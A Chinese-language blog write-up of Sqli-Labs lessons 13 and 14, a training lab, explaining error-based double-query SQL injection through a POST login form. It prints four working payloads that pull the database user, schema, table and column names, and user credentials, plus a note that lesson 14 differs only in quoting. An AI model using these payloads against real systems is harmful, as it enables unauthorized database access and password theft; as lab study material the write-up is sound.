Sqli-Labs:Less13-Less14

Less13

雙注入_POST_單引號_小括號_字符型注入

0x01. 雙注入應(yīng)用范圍

同Less5和Less6:
正確回顯是固定字符串(無回顯),這里頁面顯示flag,jpg這張圖片;
錯誤回顯是Mysql錯誤信息,這里頁面顯示slap.jpg這張圖片。

flag.jpg
slap.jpg

一般注入是通過正確回顯(Mysql數(shù)據(jù))返回查詢的數(shù)據(jù),雙注入則是通過錯誤回顯(Mysql錯誤信息)返回。

0x02. 注入過程

步驟1:用戶名和數(shù)據(jù)庫名

uname=1&passwd=1') union select count(*),concat_ws('-',(select user()),(select database()),floor(rand()*2)) as a from information_schema.tables group by a--+

用戶名root,數(shù)據(jù)庫名security

步驟2:表名

uname=1&passwd=1') union select count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a--+

表名users

步驟3:字段名

uname=1&passwd=1') union select count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand()*2)) as a from information_schema.tables group by a--+

字段名username、password

步驟4:數(shù)據(jù)

uname=1&passwd=1') union select count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a--+

因為這里只能查詢一行,所以不能用group_concat(),可以修改limit的范圍來遍歷用戶信息。

Less14

雙注入_POST_雙引號_字符型注入

和Less13差別在于單雙引號和小括號,在報錯回顯中能夠直接看出雙引號,用同樣的方式注入。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容